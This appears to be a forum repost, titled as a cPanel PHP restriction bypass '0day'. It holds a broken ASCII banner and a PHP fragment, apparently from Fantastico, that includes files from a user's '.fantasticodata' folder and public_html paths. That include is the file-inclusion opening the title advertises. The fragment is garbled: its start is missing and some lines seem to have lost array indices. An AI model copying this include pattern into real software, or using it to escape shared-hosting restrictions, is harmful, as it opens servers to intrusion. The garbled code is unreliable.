Cpanel PHP Restriction Bypass Vulnerability 0day
'''________ _ _ ____ |//|/ __ / //| || |_ / | // | || | // | || | |_) || |//| | || |/ // /| || |_ $Directory = $Home_Directory . '.fantasticodata/' . $Script . '/' ;$Files = Get_Files ( $Directory ) ;if ( !empty ( $Files ) AND is_array ( $Files ) ){$Temporary = natcasesort ( $Files ) ;}foreach ( $Files As $File ){$Name = '' ;$Path = '' ;if ( strstr ( $File , "|" ) ){$Name = explode ( "|" , $File ) ;$Name = $Name ;}else {$Name = $File ;}/* Debugging */ // echo $Directory . $File . '' ;if ( is_file ( $Directory . $File ) ){include $Directory . $File ;if ( !empty ( $thisscriptpath ) ){$Path = $thisscriptpath ;}else {$Path = $Home_Directory . 'public_html/' . $Name . '/' ;}if ( substr ( $Path , -1 ) != '/' ){$Path = $Path . '/' ;}/* Debugging */ // echo $Path . 'fantversion.php
' ;if ( is_file ( $Path . 'fantversion.php' ) ){include $Path . 'fantversion.php' ;if ( !empty ( $version ) ){if ( in_array ( $version , $Version_Numbers ) ){return 'Yes' ;}}}}}return 'No' ;}
页:
[1]